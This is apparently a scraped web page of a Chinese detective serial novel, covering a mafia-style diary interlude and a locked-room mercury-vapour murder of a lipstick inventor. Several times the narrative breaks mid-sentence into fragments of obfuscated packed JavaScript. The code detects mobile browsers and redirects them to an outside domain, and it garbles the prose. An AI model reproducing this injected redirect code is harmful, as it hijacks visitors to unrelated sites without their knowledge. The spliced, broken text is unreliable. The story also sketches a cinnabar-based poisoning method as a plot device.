0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16168978|177843||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子。 而且简忙着各种对接、谈判。 怀特警探推门进来。老滴答跟在他的后面。 “我就知道你们还在。”他把一份新案卷丢在我桌角，“苏荷区又发现一具尸体，明天你们要去看看吗？” 我揉了揉眉心。“行。就快好了。只是乔安里维奇的行刑记录总对不上日期。” 而简，终于从工作中抬起了头。 “那种人渣，早一天晚一天上绞架有什么要紧？”怀特警探说。 老滴答给他倒了杯冷咖啡，顺便给我们一人一杯。 我们沉默了片刻。 怀特警探叹了口气。 他扬了扬手里的帽子，“走吧，我请你们吃炸鱼薯条。苏格兰场新来的小子说白教堂路口那家调味料给得足。” 三个人就这样小聚了一下。 当然，谈论的话题特别复杂。从康诺特公爵庄园的案子，到最近的新案子，还有怀特警探的升职。 那天夜晚的时候，简和我一起回家。 晚餐是简做的。 简说了对乔安里维奇的案子的看法。 “弗瑞。”简喊我。 “嗯？” “你已经做得很好了。所以…你可以不用那么紧绷。”简揉了揉我的脸，“笑一笑。” “可是…”我忍不住说。 “好啦好啦。”简有些假装委屈地说，“你最近都忙得没功夫搭理我和花草了。” “嗷！对！我好几天没有给花浇水了。怎么办…”我慌乱地说，我最近太忙了。 “没事，我有浇水的。只是…”简的表情逐渐严肃起来，“我不希望案子影响到你的生活。” “肯定不…”我愣了愣，“我知道了。” 炉火噼啪作响，汤的暖意驱散了夜晚的湿冷。 这一夜我睡得安稳。 清晨是被一阵极香醇的气息唤醒的。 是咖啡。而且是绝顶好的咖啡。 我披上衣服下楼，果然看见简正站在小厨房的炉子前，守着咖啡壶。壶嘴里正悠悠地吐出白汽，浓郁的香气几乎凝成实质。 “梅尔送来的，”她没回头，专注地盯着壶，声音里带着刚醒不久的一点沙哑，“说是从一艘刚靠岸的巴西商船上直接弄来的。” 阳光透过窗格，落在她散落的短发和简素的晨衣上。厨房里很安静，只有咖啡冒泡的微响和炉火的轻哔。 “闻起来能让人原谅这糟糕的天气。”我靠着门框说。 简嘴角弯了一下，给我的白瓷杯倒了一杯，浓黑的液体，没加糖也没加奶。 “尝尝。梅尔说，这东西就得这么喝才能尝出本来味道。”她顿了顿，补充道，“虽然我觉得她平时自己喝都加双份糖和奶。” 我接过杯子，烫手，香气更浓了。小心啜了一口，强劲的苦味立刻席卷了舌头，随后才是极微妙的酸和悠长的回甘。确实能让人精神一振。 “怎么样？”她问，给自己也倒了一杯。 “呃…？太苦了。”我苦着一张脸说。 “没关系，来来来，加糖加奶。”简笑笑。 我们就这样安静地站在晨光熹微的厨房里，喝着这过于奢侈的咖啡。 窗外传来送奶工叮当作响的车铃声和邻居开门取牛奶的动静。 之后，我们就是一起前往事务所。 新的一天开始了。 61.6.9 我和弗瑞调查了一个教堂闹鬼的案子。 那其实只是一个窝点。 毒… 苏格兰场介入了。 我站在对面巷口的阴影里，看着苏格兰场的人钻进钻出。 空气里还残留着劣质熏香和另一种甜得发腻的气味。 自欺欺人的把戏。 这种东西。 老康诺特竟然允许这种东西沾上他的地盘。 不，他甚至主动。 曾经的狮子啃食腐肉，摇尾乞怜。 呵。 看来吞并康诺特应该提上日程了。 我去找了格林。 合作。 我们早协商过的。 那些老家伙都已经老了。 他们应该下去了。 先生……他当然乐见其成。 …… 康诺特之前交好的那些官员绝大部分出了问题。 新上任的官员一半以上都在和我们交好。 先生…在默认。 他一向喜欢坐山观虎斗。 …… 康诺特给弗瑞递了请帖。 甚至用上了我的空白卡。 我几乎要笑出声。 怎么？ 硬要跳这几下？ 垂死挣扎吗？ 呵。 那就去看看。 去看看他还能玩出什么花样。 …… 一切都流光溢彩。 弗瑞一眼就看穿了这里的本质。 金玉其外。 情报里说的那位康诺特小姐。 她确实很漂亮。 还行。 没有被那个徒有其表的男的蒙骗。 其他的，我对花边故事没兴趣。 老康诺特到底搞什么？ 他已经堕落到这个地步了？ 要靠拍卖和…品获取人脉和金钱。 各凭本事？ 当然。 格林，和我。 老康诺特唯一说对的，就是伦敦的舞台很大。 没有他的位置。 也不可惜。 …… 康诺特死了。 老家伙死的这么迅速。 完全不符合我们的安排。 不是慢性毒药，不是精心策划的意外。 仓促。 打乱了所有步骤。 格林的人只守到了后半夜。 我们都不喜欢那种场合。 她和我说了几个参加第三个展厅的人。 那些人。 他们是否参与了那个惨案呢？ 不管怎么样。 这也是我们的筹码。 康诺特死得太早了。 我们必须快点行动。 我去见了先生。 他一如既往。 先生坐在他永远不变的扶手椅里，永远陷在黑暗里。 他似乎对一切都不在意。 漫不经心地把玩着手里的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16168979|177843||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 蛇 他对一切心知肚明。 没关系。 “老康诺特。怎么就这样了呢？” 他问我？ 呵。 …… 康诺特庄园的案子彻底解决。 两个凶手都接受了审判。 所有人得到了想要的。 弗瑞就是很棒。 她在成长。 案子调查也很完美。 一切都刚刚好。 她很好，比我期望的更好。 …… 奥若拉·康诺特小姐是被豢养的郁金香。 弗瑞却不会是只属于我的蓝铃花。 我不是维明里安。 我会保护好她。 她也会自己成长。 自由且坚韧。 这才是弗瑞。 在料峭的风里自己扎根，自己盛开。 不属于我，不属于任何人。 …… 弗瑞的压力很大。 尤其是她在经历了家族的事情之后。 阴影从未真正远离。 我不知道该如何拂去那些沉重，言语在此刻苍白无力。 我不知道怎么安慰她。 我只能确保，当她前进时，阴影不会吞噬她前方的路。 但她眼里的光从来没有消失过。 这就够了。 弗瑞……她会走下去，走得比所有人都远。 她很好，很优秀。 …… 62.7.1 “简，你真的不打扮一下吗？”我围着简左右转了一圈，“你这么好看。” 简笑笑，她戳了一下我的头，“谢了。但是不用。你打扮好了？那我们出去吧。” “好吧。”我默默叹了口气。 “我们直接去苏荷区。”简拉上车门说。 怀特警探给的卷宗，我们都看了。 死者是名女性，名叫埃米莉·雅顿（Emily Arden），25岁，最近整个伦敦几乎算得上是最有影响力的女性。 她宣称发明一种安全口红，完全无毒无害，能够让女性拥有更健康的美丽。 在整个伦敦的口红行业掀起了轩然大波。 同时，她也受到了无数女性的追捧。 我本人也是了解过她的事情，甚至和简谈论过她。不得不说，她值得我的钦佩。 可就是这样一个女性，却突然死了。 死于密室。 死状凄惨。 就算怀特警探，他不来找我们，我也要调查这个案子的真相。 …… 车子停在了埃米莉·雅顿小姐的公寓前面。 苏格兰场已经拉起了警戒线。 怀特警探负责这个案子。 刚刚踏上楼梯，一股刺鼻的气味就扑面而来。我甚至感到有一些头晕。 “里斯克小姐！本小姐！快快快，戴上口罩。”一看见我们，怀特警探就连忙递过来两个口罩。 说实话，那口罩让我想起了不太好的回忆。但我们确实需要它。 戴上口罩，我才感觉那刺鼻的味道减轻了一点，整个人好受一点点。 埃米莉·雅顿小姐的尸体早在第一时间搬去了苏格兰场，法医对她进行尸检。 “怀特，说一下情况。”简直接问道，她的目光已经开始扫视整个房间。 怀特警探清了清嗓子，指向天花板。 “我们打开门的时候，她就在门后。经过调查，最可疑的是那个破碎的吊灯灯罩。法医初步判断，致命的是汞蒸气，但是她之前遭受过猛烈撞击。我们怀疑凶手把她打晕了，将汞或者某种含汞的化合物放在灯罩上方，利用灯泡长时间点亮产生的热量来加热挥发。等浓度足够，就成了毒气室。” 即使有着口罩的过滤，我依然觉得喉咙发紧，不由得放慢呼吸。 汞蒸气……无声无息，致命。 “密室呢？”我问。 “门窗都是从内部锁好的，没有强行闯入的痕迹。”怀特摇摇头，“这是最头疼的地方。” 简没说话，她走到房间中央。 这是一个很独特的房间，应该是埃米莉·雅顿小姐做实验的地方。 中间的大桌子上摆放着很多我不太理解的化学工具，很多大大小小的瓶子，里面还装着各色各样的液体。 桌子似乎被什么猛烈撞击过，上面的化学仪器已经东倒西歪了，有些瓶瓶罐罐甚至倒下来，碎了。 “挣扎痕迹很明显。” 她蹲下，看了看桌子，然后指着地毯上几处不明显的拖拽痕迹和被指甲用力刮过的地方。 “她有挣扎？她不是昏迷中死亡？”我问。 “嗯，汞中毒有个过程，她极有可能在这个过程中醒来，也许想自救，却发现浑身无力。”简边回答我，视线跟着痕迹移动，最终停在门边。 那里有一块地毯的颜色比其他地方深，轮廓依稀能看出是一个人蜷缩或趴卧的形状。 “她最后倒在这里，面向门。”简用手指虚划了一下门板底部，“看这里。” 我和怀特凑过去。 在门板的漆面上，有几道细微的划痕，位置很低，不仔细看根本发现不了。 “指甲划的？”我问。 “很可能。”简说，“她最后时刻爬到这想开门，但已经没力气站起来够到门把手了，只能用手指抠刮门板。” 这推测让人不寒而栗。 我的目光落在了那块深色地毯上。 那都是这位小姐挣扎的痕迹。 哦！上帝啊！可怜的埃米莉·雅顿小姐，她最后可能是挣扎着，并且清晰的感知着自己的死亡。 这可真是… 那个时候，我在心里发誓，我一定要替埃米莉·雅顿小姐抓住那个凶手。 “怀特，最先发现尸体的是谁？” “是她的房东，每天早上十点来打扫。今天来的时候，发现门从里面锁着，叫门没人应，觉得不对才报了警。”怀特翻着笔记本，“我们破门而入，就发现……那样了。” “门窗确认都是反锁的？” “确认。窗户的插销都插得好好的，没有外力破坏的痕迹。门被从内部反锁了。”怀特警探比划了一下。“应该是凶手干的。” “汞的来源能确定吗？”我问。 “桌上这些化学试剂里没有单质汞。有可能是凶手自带的。”怀特警探说。 简的目光锐利地扫过天花板，最终看着那个破碎的吊灯灯罩上。 她搬过一把椅子，小心地站了上去，我和怀特警探在下面扶着。 “怀特，手电。” 一束强光打上去，简仔细检查灯罩内部和上方的电线、底座。 “有发现？”怀特仰着头问。 简没有回答，她掏出随身携带的小刀在灯罩的内部刮了一下，并且用手帕接住。然后递给了我们。 那是一种暗红色残留物，不是血。 应该某种矿物粉末被高温烘烤过。 “朱砂。”我和怀特几乎同时低呼。硫化汞矿石，加热后会分解产生汞蒸气。 这就是毒气的来源。 凶手把朱砂粉末放在灯罩顶部，紧贴着灯泡。 灯泡长时间点亮，温度足够让朱砂缓慢分解。汞蒸气比空气重，会逐渐下沉弥漫整个房间。 无声无息，杀人于无形。 “灯罩怎么会碎？”怀特警探问。 我指着灯罩边缘一处不明显的撞击痕迹，又指了指下方翻倒的实验台。 “我觉得很大可能是雅顿小姐感到不适挣扎时，很可能撞倒了桌子上的什么东西，飞溅起来击碎了灯罩。加速了残留朱砂的散落，也可能让最后阶段的汞蒸气浓度骤升，但本质上，杀人的装置在那之前就已经在工作了。 “但是，简，密室是怎么…？”我没有想明白这个最关键的问题。 简没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16174654|177843||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有立刻回答，她走到门边，再次检查那个老式的门闩。 门闩是黄铜的，闩槽有些磨损。 她仔细观察着门闩末端和闩槽内部的划痕。 “怀特警探，你们破门而入时，门闩是闩上的状态，对吗？” “毫无疑问。我们撞了好几下才撞开。” 简蹲下身，目光沿着门缝仔细查看。她的手指在门缝底部的地毯上摸索了几下，然后停住了。她轻轻拨开地毯，露出下面一道非常非常浅的、几乎看不见的压痕，一直延伸到门底下。 “看这里。”她示意我们，“这道压痕很新，和门底的弧度吻合。” “凶手根本不需要从内部锁门。”简的声音很透着胸有成竹，“他只需要在离开时，从外面把门关上。然后，用什么东西，比如一根细线或铁丝，套住门闩的手柄，慢慢拉到位。最后，抽走细线。密室就造成了。” 突然，我发现靠近门的地毯下，似乎有什么凸起。 与埃米莉·雅顿小姐的尸体最后的位置相隔不远。 我在简，还有怀特警探注视下走过去。 那是半支口红，猩红色的膏体已经断了，落在了地毯之下。 “这口红……估计是挣扎时从口袋里掉出来的，或者从梳妆台上碰落的？”怀特警探指了指不远处翻倒的梳妆台，各种化妆品散了一地。 我小心翼翼地用戴着手套的手指拾起那半截口红。 我一眼认出这是雅顿小姐所在的公司产的那种安全口红样品，我之前想买，但是没买到。 简看了看我手里的口红，又看了看周围。 “梳妆台在那边，”她平静地指出，“如果是从那里摔落或者被她撞飞，按照她挣扎的路径和倒地的位置，这口红落点正好在她手边，门缝底下。” 她从我手里接过口红，指了指膏体上沾着的细微碎屑，以及膏体侧面一道浅浅的压痕。 “不像是不小心摔断的。像是被东西，比如门缝，挤压折断的。而且，”她顿了顿，看向那些门板底部的划痕，“你们不觉得，这口红可能的位置，和她最后的位置，刚刚好吗？” 我愣了一下，瞬间明白了她的意思。 “你是说……她可能不是无意中碰到口红的？她最后手里抓着这个？”怀特警探的眉头紧紧皱了起来。 “一个快死的人，挣扎着爬到门边，为什么手里会紧紧攥着一支口红？” “尤其是，一个以发明安全口红而闻名的人。这不像巧合。这更像……是她唯一能抓住的，或者想留下的东西。”我说。 简将那半截口红小心地装入证物袋， 我看着物证带里那刺眼的红色。 雅顿小姐在挣扎中，可能意识到了什么，或者只是想抓住点什么。 她爬到门边，或许是想自救，或许只是绝望的举动。 在她最后时刻，这支口红可能恰好滚落在她的手边。 不知为何，我心里有种感觉，这支她发明的、代表她事业和骄傲，也可能因它而丧命的口红。是埃米莉·雅顿小姐，在最后垂死的时候，拼尽全力留给我们的死亡讯息。 凶手一定和这支口红，和她的事业，有莫大的关联。 63.7.2 “让我们进去！” “我们要带埃米莉姐姐离开！” 当我们到达苏格兰场的时候，警署外面倒显得有些混乱。 有许多的女性，自发地聚在了苏格兰场的门口。 为首的女性年纪并不大，约莫十八九岁，但她的穿着很成熟，小脸上涂抹着艳丽的浓妆，其中最鲜明的，就是那抹红色的口红。 我看向其他的女性，无论老少，都或多或少带妆，而口红，近乎是她们的标志。 “唉唉唉…小姐们，请不要聚在这里，等案子破了，我们自然会通知雅顿小姐的亲人……”怀特警探连忙上去劝说。 “雅顿姐姐已经没有亲人了。所以我们才……”为首的女孩说。 “我…我有线索，我想早点将那个凶手绳之以法。” 我们将她带去了怀特警探的办公室。 “小姐，坐，喝茶。”怀特警探忙活着，给我们每个人都倒了一杯茶。 “好…谢谢…”对于这样子的举动，这位小姐显得有些受宠若惊。 “请问你怎么称呼？”简问。 “呃…瑞秋儿。没姓…”这位小姐坐在椅子上，低着头，看着手里的茶，声音低低地说。 怀特警探端茶的时候明显停顿了一下，而简，我注意到她只是平淡的点了点头。 我安静喝着手里的茶叶，这茶很苦，不好喝。 “我是一名…舞女。”瑞秋儿小姐紧张的说，说完她抬起头看了看我们。 注意到我们面色都没有太大的改变，她才终于放松了一点点。 “别紧张…瑞秋儿小姐。我们只是简单的聊一聊，希望对破案会有所帮助而已，你不用有太大的压力。”我说。 “嗯。”她应道。 “你是怎么认识雅顿小姐的呢？”我找了个相对比较轻松的话题问。 “雅顿姐姐是个好人。她会教姐妹们识字，还跟姐妹们说要爱护自己，她还给姐妹们很多很多很好很好的化妆品。”瑞秋儿小姐激动地说。 “所以…我们都想为雅顿小姐做点什么。”她的声音低落下来。 “会的，瑞秋儿小姐，你为我们提供线索，雅顿小姐的在天之灵一定会知道的。”我放下了手中的茶，正色道。 “如果案子得到解决，我想我们会联系你和你的姐妹们的。” “好…好的。”瑞秋儿小姐欣喜地说。 “哦…对了，线索…我觉得杀死雅顿小姐的，一定是她的前男友，那个人叫…叫查尔斯·约里。”瑞秋儿小姐说。 “你为什么这样认为呢？”怀特警探问道。 “因为…因为有好几次我去找雅顿姐姐拿口红和化妆品的时候…撞见了这个男人在和雅顿姐姐争执。”瑞秋儿小姐的声音有些颤抖。 “争执的内容你知道吗？”简敏锐地问。 “知道一点。那个男人不太喜欢雅顿姐姐的工作，还有就是……他不太喜欢我们和雅顿姐姐来往。” 瑞秋儿小姐紧张地揪着自己的裙子边，她明显是不知道怎么说。但她的意思我们已经了解了。 “好的。感谢你的帮助。”我站起来，认真地说，“如果…我们想找你，不知道地点是…” “……红星会馆。那是我工作的地方。” 我将这位小姐送到苏格兰场的门口，看着她和其他的女性一起远离。 她比我小的，可生活似乎已经在她身上留下了厚重的痕迹。 “弗瑞…别想太多。”简说。 我知道的。 只是帮埃米莉·雅顿小姐，抓住凶手的理由又多了一个。 …… 经过苏格兰场的调查。 那个叫查尔斯·约里的人被找到了。 “哦…这只是太不幸了…我可怜的埃米莉……” 男人似乎十分的悲痛，从我们进入审讯室的时候，他就这样哭嚎着。 “查尔斯·约里先生，请节哀，这的确是非常不幸的事情……”怀特警探连忙安抚着。 “根据我们的调查，还有别人的说法，你们分开已经两年了，这么看来，你们的感情很深厚？正好，雅顿小姐没有其他的亲人，她的后事…”简敲击着面前的桌子，直截了当地说。 说实话，男人的态度确实假的可怕，听到简的话，他立刻慌忙的说：“哎，我和艾米莉早早的分开了，以我目前的情况，也确实是对于这件事情有心无力……” 听了查尔斯·约里先生的话，简直接讥讽地笑了。 读者们，我必须要说，她和我都认为，这个男人配不上雅顿小姐。 根据苏格兰场的调查，埃米莉·雅顿小姐和这个男人共同就读于伦敦大学的化学系，两人在一起过短暂的一年时光。 但两人的道路，可谓是天差地别。 哦，当然，读者，我并不是说一定要以事业来进行评判或者什么之类的。 只是埃米莉·雅顿小姐进入了当前新兴的女性安全用品公司Clara''s Guard，并且深受创始人克拉拉·黛丽·李小姐的重用，且自主研发了多款样式的安全口红。事业蒸蒸日上，且广受追捧。 而查尔斯·约里先生，进了传统巨头，格登公司，担任了研究团队的助手。 如果硬要让我来形容一下，查尔斯·约里先生，我只能说…额…体面？ 进入了高等学校，拿到了应有的学位，然后进入了一家应该的公司，即使是在这种情况下，他也是穿着体面的衣服，说着体面的话…… 他的确是当前情况下，最有可能的嫌疑人。 接受过化学教育，有着基本的知识，同时和雅顿小姐存在着矛盾。 “查尔斯·约里先生，根据调查，你们俩的分手，似乎并不愉快？” “哦…是的。”对于这个话题，男人的面色有些铁青。 “我都是为了她好！！可是她竟然不领情，甚至和我断绝关系！！！” “你看看她，每天都不知道忙活些什么，还有来往的那些人……” 这个男人自顾自的说着，数落着雅顿小姐不是，数落着瑞秋儿和她的朋友们的不是… “砰！”简直接一巴掌拍在了审讯桌上，发出了巨大的声响。 她站起来，居高临下的看着这个坐在审讯椅上的男人。 “为了她好？”简的声音很冷，“查尔斯·约里，根据我们了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16186424|177843||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 解到的情况，似乎是你无法接受雅顿小姐在专业能力和事业成就上远远超过你。你进入格登公司两年，仍只是个助手，而艾米莉·雅顿小姐已经凭自己的发明撼动了整个行业。” 查尔斯的脸色由青转红，嘴唇哆嗦着，像是想反驳却又找不到词。 “你们的分手，”简继续道，语速平稳，内容却无比尖锐，“应该是雅顿小姐主动提出的，不是吗？因为你屡次试图贬低她的研究，劝阻她放弃独立事业，甚至干涉她帮助其他女性。” “查尔斯·约里，你是一个很无用的人。你无法容忍一个曾经和你平起平坐、甚至可能在某些方面还需要你‘指点’的女伴，最终走得比你更高更远，成为了你只能仰望的存在。你的‘为了你好’，本质上，不过是可笑的控制欲和虚荣心无法得到满足的恼羞成怒。” 查尔斯猛地抬头，眼神里闪过被戳破的慌乱和强烈的屈辱。 “你胡说！她……她那是误入歧途！那些所谓的产品，根本是异想天开！还有那些女人……那些底层的、肮脏的舞女……” “够了！”怀特警探也听不下去了，出声制止。 简没有提高音量，只是眼神里的讥讽更浓了。“误入歧途？查尔斯先生，看来你不仅心胸狭隘，专业认知也堪忧。雅顿小姐的研究是经过验证的。至于她帮助谁，与什么人来往，这恰恰证明了她的品格远非你能企及。你的悲痛表演可以收起来了，蹩脚得令人尴尬。” 查尔斯像是被抽了一耳光，彻底瘫软在椅子上，脸色灰败。 我站起来，看着这个男人，对怀特警探说，“我想，基于目前的情况，这位先生似乎有很大的嫌疑，他应该在苏格兰场多待一会儿，接受调查，不是吗？怀特警探。” “我想是的，弗瑞小姐。”怀特警探立刻接话道。 我们三人几乎都是怒气冲冲的走出了审讯室。 过了一会。我恢复了平时的冷静。“他的嫉妒和怨恨动机明显，有作案动机，但……” “但他不是凶手。这种性格的人，更倾向于言语上的贬损和背后的阻挠，直接策划并执行这样需要冷静布置的精密化学密室杀人？他缺乏那种决断和胆量。”简接话道。 “可以查一下他案发时的确切行踪。但我们的视线或许该放得更远一些了。比如，雅顿小姐的成功，真正影响了谁的利益？” “行。当然…这个男的还是需要调查的。就让他先在苏格兰场呆着吧。”怀特警探说。 “雅顿小姐的成功，触怒的绝不止这样一个男人。”我顺着简的思路，试图拨开查尔斯带来的烦躁感，“不是某个嫉妒的个体，而是……更庞大的东西？” “旧的利益。”简的手指无意识地敲着桌面，“怀特警探，雅顿小姐的安全口红，直接冲击了谁的市场？谁的东西会因此滞销？谁的面子和钱袋一起受了损失？” 怀特警探愣了一下，随即恍然，“您是说……那些传统的化妆品供应商？” “朱砂是现成的凶手原料，也是他身份的线索。” 简看向窗外，伦敦灰蒙蒙的天空仿佛压得更低了。 “一个习惯了使用这种材料，并且视雅顿小姐为威胁的人。” 64.7.3 读者们，你们要知道，如果凶手仅仅是因为安全口红而杀了雅顿小姐的话，其实我并不能太理解。 我们联系了埃米莉·雅顿小姐就职的Clara''s Guard的老板，拉拉·黛丽·李小姐。 根据了解，雅顿小姐所推广的安全口红，其配方和制作工艺在公司内部都具有备份和推广。 而且这在行业内部并不是什么秘密。 所以雅顿小姐的死，一定不是出于商业盗窃或者其他竞争之类的。 出于利益，出于怨恨，或者…出于报复？ 简说得对。 …… 而我们首要调查的，就是格登公司。 “抱歉，小姐，请您停步。”格登公司的接待员小姐拦在了简的面前。 “怎么了？” 我和怀特警探一起回头看过去。 简摇了摇头，她似乎也有些无奈。 “很抱歉。我们老板有规定，涂口红还有剪短发的女性，是不允许进入我们公司内部的。”在我们的注视下，接待员小姐慌忙地鞠躬道歉道。 “虽然您并没有涂口红，但是，您的短发…真的很抱歉…” “呵！”简明显被气笑了。 我也被气到了，这都什么破规定？ 但也不能将这股气撒在无辜的接待员小姐身上。她也是未施粉黛，穿着最基础的淑女套裙，被迫遵守的这条规定。 “小姐，抱歉，我是真的不能放你进去，不然老板一定会朝我发火的！”接待员小姐姐慌忙地不停鞠躬。 “好了好了。没事的。你不用这样。”简不愿意为难这位小姐。 “没事。你们去。弗瑞，交给你了。”简后退几步，站在格登大厦门外对我们说。 “好。等我们出来。”我应道，在接待员小姐和怀特警探的陪同下一起去见了格登公司的老板。 格登公司。化妆品行业的巨头之一。专攻男性用品和传统女性化妆品。查尔斯·约里先生就职的公司。 也是埃米莉·雅顿小姐推广安全口红所遭受的最大的敌对公司。 老板杰弗里·格登先生，早就已经年过半百，事业有成，算得上是…成功人士。 当然，重要的是，格登公司的老板杰弗里·格登先生，也是杀死雅顿小姐的嫌疑人之一。 雅顿小姐的安全口红的推广，严重撼动了革登公司的商业地位。 当然，我们并不是说这位格登先生就一定是实际凶手。我们并不能排除他买凶杀人的嫌疑。 …… 格登公司的内部装修昂贵但沉闷。 接待员领着我们穿过安静的走廊，敲响了老板办公室厚重的木门。 杰弗里·格登先生正像我们预料的那样。他身材臃肿，深陷在宽大的皮椅里，绷紧的西装背心勾勒出圆滚的肚子。看到我们，尤其是认出怀特警探后，他脸上挤出笑容，但又端着老板的架子慢悠悠站起身迎过来。 “怀特警探！真是荣幸。恭喜您刚刚升职，我就说总局不会埋没您这样的人才。” 他热情地握住怀特警探的手摇晃着，语气里的恭维近乎谄媚，完全忽略了一旁的我。 如果是平常，出与礼仪，我不介意和他进行这些场面的寒暄。 但是，雅顿小姐的案子迫在眉睫。还有，简还在外面等着呢。 寒暄的话没说完，我直接打断了他。 “格登先生，我们是来调查埃米莉·雅顿小姐的谋杀案的。” 他脸上的笑容几乎是立刻僵住，他松开怀特警探的手，看向我，眼神里闪过被打断的不快，但很快又被谨慎取代。 “这位是？” “弗瑞·本侦探。”怀特警探介绍道，语气平静，“帮助调查。” “哦…侦探…我看小姐也是淑女，怎么会去干侦探这种事？”他上下打量了一下我，那眼神让我极为不舒服。 如果说，我家人最初不让我去做侦探，可能是出于担心。 这位格登先生就和我利德森叔叔那样的族亲一样了，他们是出于一种歧视，一种标准，认为淑女不应该做侦探。 呵。 “因为我可以。”我的语气有些冲，与我曾经所遵循的淑女守则背道而驰，但是在这种情况下，那又有什么关系？ 格登先生的眉毛皱了起来，一抽一抽的。我可没耐心听他说教什么了。 “格登先生，你怎么看待雅顿小姐的案子？” “哦…真是遗憾，真是不幸。但我不明白，这和我们格登公司能有什么关系？” 他走回办公桌后，重新坐下，试图拿回一点主动权。 我没给他喘息的机会，上前一步，目光直视着他。“她的安全口红似乎极大地破坏了你们的传统市场？格登先生。我想，这动机足够明显了。” 办公室里的空气瞬间绷紧了。 格登先生脸上的肥肉因不悦而微微颤动。他身体向后靠进椅背，双手交叠在肚子上，试图摆出一种居高临下的姿态。 “这位…侦探小姐，我理解你急于破案的心情，但你的指控既荒谬又缺乏教养。”他声音沉了下来，带着刻意营造的威严。 “格登是行业巨头，我们有数十年的声誉和庞大的市场份额。至于突然冒出来的……安全口红？”他嗤笑一声，仿佛这个词本身就十分可笑，“它或许在某个小圈子里引起了一些话题，但说它严重撼动我们的市场？这简直是天方夜谭。” 他摊开手，看向怀特警探，仿佛在寻求同性的认同。“警探先生，商业竞争是常事，但我们有自己的研发部门和市场策略。谋杀？为了这个？这想法本身就是对格登品牌的侮辱。” 他的话听起来冠冕堂皇，甚至有点道理。但我注意到，在说“安全口红”时，他眼神里闪过的不屑和厌恶是真实的，那不仅仅是商业上的轻视。 “所以，您否认贵公司对雅顿小姐及其产品存在任何形式的敌意？”怀特警探适时地开口，语气平稳，记录着。 “敌意？不，我们只是……不认可。”格登先生纠正道，“那种产品，鼓吹一些不必要的概念，扰乱市场，甚至暗示传统化妆品不安全？这是一种不负责任 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16195451|177843||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的营销手段。我们更倾向于专注于产品本身的品质和优雅，而不是制造焦虑。” 他顿了顿，目光又落回我身上，带着令人不适的审视。 “而且，说实在的，一位真正优雅的淑女，怎么会需要依赖那种标新立异的东西来证明安全？恪守传统的美德和品味，才是最好的保障。就像我们公司规定的那样，女性职员保持得体妆发，这才是真正的优雅与专业。” “我听说，你们还有一位同伴，很抱歉，我的手下将她拦在了门外。”格登毫无歉意地笑着。 “说实话，警探，我是越来越弄不懂现在的小姐们了。她们剪掉长发，涂上猩红唇膏，像男孩般跳舞至深夜，这是对维多利亚式淑女的彻底背叛。还有，这位…侦探，天哪…” 哦！天哪！ 这陈旧的标准。这讽刺的语调。他简直是我最讨厌那种男性，没有之一。 如果简在这里，她可能会直接给这个男人来上几脚。 读者们，当时我就是这样想的，所以当那个人还在滔滔不绝，我直接向前几步，一脚踹在了他的桌子上，巨大的震动带着他靠翘着的椅子还有那肥胖的身躯，失控的向下倒去。 “哦，天哪，先生，我不是故意的。”我连忙后退几步，“我想以你的地位还有…宽宏大量，是一定不会介意的吧。” “是的。弗瑞小姐。我想格登先生一定不会介意的。”怀特警探连忙接话道。 查尔斯·怀特警探的确是有着良好的品质，正因为如此，他与我们成为了朋友。 我承认我当时并不理智，有些怒火中烧，急冲冲就想出去找简。 推门的时候，我想起了这个男的那方评判，“对了，先生，你需要明白，我们涂上口红，剪短头发，干着各式各样的工作，不是为取悦男人，而是向自己宣告，我们属于自己。” “砰！”门内传来巨大的打砸声。 那又有什么关系呢？ 我几乎是带着一身怒气，快步走出了那栋压抑的大厦。 午后的阳光有些刺眼。我微微眯起眼，目光下意识地搜寻。 然后我就看到了她。 